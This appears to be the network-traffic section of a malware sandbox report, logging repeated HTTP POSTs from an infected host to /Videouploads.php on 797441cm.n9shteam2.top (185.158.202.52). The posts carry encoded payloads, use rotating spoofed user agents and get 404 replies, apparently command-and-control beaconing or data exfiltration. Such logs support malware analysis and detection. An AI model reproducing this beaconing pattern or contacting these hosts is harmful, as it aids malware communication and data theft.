Jan 2, 2025 07:42:12.228691101 CET	273	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:42:12.578655005 CET	344	OUT	Data Raw: 00 06 01 01 06 00 04 02 05 06 02 01 02 03 01 0b 00 0b 05 00 02 0c 03 08 07 06 0d 06 04 02 03 02 0d 02 05 0a 02 56 06 55 0b 01 06 53 05 03 05 06 05 00 0d 0c 0f 00 07 0b 06 02 05 02 07 02 04 09 00 56 0f 01 07 53 04 07 0c 04 0b 0f 0f 03 0d 06 07 53 Data Ascii: VUSVSS\L}Q\|NW]vqaMwf`~lawR`\|Mc[oR]xcz}m^vdk^u~V@z}Prq
Jan 2, 2025 07:42:12.863842010 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:42:12.998162985 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:42:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49737	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:42:40.034801960 CET	326	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:42:40.390450954 CET	344	OUT	Data Raw: 05 06 01 02 06 0d 01 05 05 06 02 01 02 01 01 07 00 05 05 0b 02 00 03 01 07 0f 0e 04 03 05 01 04 0c 06 04 0f 00 50 07 04 0c 54 06 07 04 03 02 0f 05 00 0b 09 0f 02 07 0b 07 01 06 53 01 0b 07 00 01 01 0f 5c 06 0e 06 54 0c 02 0c 04 0a 06 0f 09 06 01 Data Ascii: PTS\TVRV\L}P^~wnYv\kR\|j_tlw_h`pxl\|_zsaY\|}`CtYZOu~V@{}nL~r[
Jan 2, 2025 07:42:40.671520948 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:42:40.802408934 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:42:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49738	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:42:47.244177103 CET	308	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 797441cm.n9shteam2.top Content-Length: 336 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:42:47.593909025 CET	336	OUT	Data Raw: 00 02 01 00 03 08 01 03 05 06 02 01 02 05 01 01 00 02 05 09 02 05 03 0c 02 0e 0d 53 04 07 00 07 0e 07 06 0b 02 06 04 02 0e 05 05 00 00 07 05 00 04 07 0d 09 0d 50 01 02 01 04 06 50 06 06 07 5a 02 56 0a 0a 06 0e 07 51 0e 04 0e 07 0d 53 0c 07 05 06 Data Ascii: SPPZVQS[P\L}Th`[\c\[b[QPhUywwXkp\|K{\|Z_{`[Y~httlLi_~V@AxmrN~uy
Jan 2, 2025 07:42:47.888977051 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:42:48.019974947 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:42:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49740	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:42:56.378424883 CET	326	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:42:56.742400885 CET	344	OUT	Data Raw: 00 0b 01 05 06 0c 01 02 05 06 02 01 02 04 01 05 00 03 05 0e 02 01 03 00 02 06 0d 0d 04 53 02 03 0c 0e 07 09 03 02 06 56 0f 02 04 07 07 50 02 01 04 07 0f 09 0d 00 04 55 05 06 03 05 05 02 05 0e 05 03 0e 00 07 0f 04 03 0f 0f 0c 54 0a 01 0b 01 06 01 Data Ascii: SVPUTRV\L~czwrrYweZk\|S`Ro]kpo[{os{sjkC`C`dtu~V@@{Sv~bW
Jan 2, 2025 07:42:57.033515930 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:42:57.166054010 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:42:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49747	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:42:58.223350048 CET	309	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:42:58.577889919 CET	344	OUT	Data Raw: 00 02 01 01 06 0a 01 01 05 06 02 01 02 03 01 05 00 01 05 0b 02 04 03 00 01 0f 0e 0c 07 01 00 06 0f 02 06 09 02 00 04 04 0f 06 07 0a 00 07 06 00 03 00 0d 09 0f 00 01 06 04 04 06 07 01 05 06 08 00 07 0c 0b 04 56 06 08 0f 07 0e 00 0e 0c 0c 55 05 0c Data Ascii: VUZWU\L}R\|c~@cqb]wupBkRaM`Bh~`tKxR{{^_Xh}^@cwliO~V@{S~L}rW
Jan 2, 2025 07:42:58.887072086 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:42:59.014481068 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:42:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49788	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:04.689801931 CET	273	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:05.046686888 CET	344	OUT	Data Raw: 00 01 01 02 06 01 04 02 05 06 02 01 02 0d 01 01 00 01 05 0e 02 06 03 0e 07 0f 0d 51 03 04 06 05 0f 56 06 09 00 53 06 57 0e 0a 04 53 07 05 04 04 07 04 0f 0d 0c 00 06 06 04 03 06 07 07 52 07 01 01 03 0d 0c 00 02 06 51 0c 05 0e 0e 0a 04 0d 51 06 02 Data Ascii: QVSWSRQQ\\L}Sk^POcrr\b[oU\|bXc\|`BhcpoBQK{cy_\|~pww^~u~V@xS~}\i
Jan 2, 2025 07:43:05.326363087 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:05.458293915 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49809	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:07.925662041 CET	309	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:08.281053066 CET	344	OUT	Data Raw: 05 05 04 02 03 0f 04 05 05 06 02 01 02 0c 01 01 00 04 05 0b 02 04 03 0b 03 01 0a 04 04 54 02 02 0f 03 04 0f 02 06 05 06 0e 54 04 0a 07 56 07 00 03 05 0d 0b 0d 04 05 0b 04 02 06 53 07 04 04 0d 03 06 0a 0a 04 04 07 02 0c 01 0c 01 0a 0c 0d 09 06 05 Data Ascii: TTVSW\L}PkYvcbv]uKxh}wUw^\|c]^oBcKzpX\|m`vdt~u~V@xSTL}r}
Jan 2, 2025 07:43:08.590106010 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:08.727977037 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49820	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:09.772655010 CET	308	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:10.125345945 CET	344	OUT	Data Raw: 05 05 01 02 06 01 01 06 05 06 02 01 02 0d 01 04 00 07 05 01 02 02 03 0c 07 05 0f 0d 06 01 00 05 0f 00 05 09 01 03 06 07 0c 05 02 01 05 54 02 03 03 03 0e 0f 0e 07 01 06 01 0e 04 06 07 0b 00 0c 05 0b 0a 00 04 56 05 03 0e 57 0d 02 0a 00 0b 03 06 01 Data Ascii: TVW\L~C\|Nq\`ab\vewSBf\cRsX\|MUY{lcHxNfKCPwY\|Nie~V@{Cf~\a
Jan 2, 2025 07:43:10.406136990 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:10.542355061 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49841	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:12.777729034 CET	326	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:13.124891043 CET	344	OUT	Data Raw: 05 06 01 07 06 0f 01 07 05 06 02 01 02 03 01 04 00 0a 05 0f 02 0c 03 08 00 53 0a 00 06 01 01 54 0f 52 07 0b 02 03 04 07 0d 03 06 03 06 04 06 00 04 53 0c 5a 0f 50 05 00 06 0f 04 06 07 02 06 0c 01 04 0d 01 04 0f 05 06 0b 02 0c 01 0c 02 0b 05 04 07 Data Ascii: STRSZPSWRU\L~pztrSLvSyw\|h`tK{\|UKoY~}~h`Y^}e~V@{C\rq
Jan 2, 2025 07:43:13.413958073 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:13.542433023 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49859	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:15.270199060 CET	273	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:15.624830008 CET	344	OUT	Data Raw: 05 06 04 0c 06 0c 04 05 05 06 02 01 02 02 01 00 00 01 05 09 02 05 03 01 00 00 0c 05 04 55 03 55 0f 55 06 01 02 51 03 07 0f 0b 05 50 00 01 04 0e 05 02 0b 0e 0a 0f 04 52 04 53 06 50 06 55 07 01 02 07 0d 0c 04 06 07 06 0e 04 0b 05 0f 04 0e 01 05 53 Data Ascii: UUUQPRSPUSTWR\L}Sk^Tvquv\`~luBv\|c\|olcx`PC`wdhi_~V@xC~N}b[
Jan 2, 2025 07:43:15.897964001 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:16.030421019 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49995	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:37.214448929 CET	309	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:37.562329054 CET	344	OUT	Data Raw: 05 01 04 00 06 0c 04 07 05 06 02 01 02 06 01 03 00 00 05 0d 02 04 03 0b 00 53 0c 0c 06 0f 00 09 0c 02 05 01 02 03 04 57 0b 04 05 01 00 07 07 04 07 02 0d 0a 0e 01 06 02 06 07 05 05 05 52 06 0c 01 0a 0e 0a 06 06 05 51 0b 03 0e 55 0c 0c 0d 05 05 53 Data Ascii: SWRQUSPQ\L~NfOt[qv\p@}clU^~soZy\|dYlNPI\|}wQvgo_j_~V@Bx}z}r}
Jan 2, 2025 07:43:37.850827932 CET	25	IN	HTTP/1.1 100 Continue
Jan 2, 2025 07:43:37.978218079 CET	376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 02 Jan 2025 06:43:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 213 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	50013	185.158.202.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 07:43:45.319977999 CET	326	OUT	POST /Videouploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 797441cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 2, 2025 07:43:45.671842098 CET	344	OUT	Data Raw: 05 02 04 0c 03 0b 04 06 05 06 02 01 02 01 01 02 00 02 05 0c 02 0c 03 0b 07 04 0f 06 03 0f 03 06 0f 05 06 01 00 0c 03 02 0c 56 07 03 05 0b 04 00 06 06 0b 00 0c 05 07 00 04 0f 06 50 07 07 06 00 01 03 0f 00 05 03 07 02 0f 03 0b 06 0c 02 0c 03 02 03 Data Ascii: VPRQT\L}UpvOwr~\bvl@hBb\wB\|~swYl\|UHop~}^ww`~e~V@xmrr}
Jan 2, 2025 07:43:45.975331068 CET	25	IN	HTTP/1.1 100 Continue
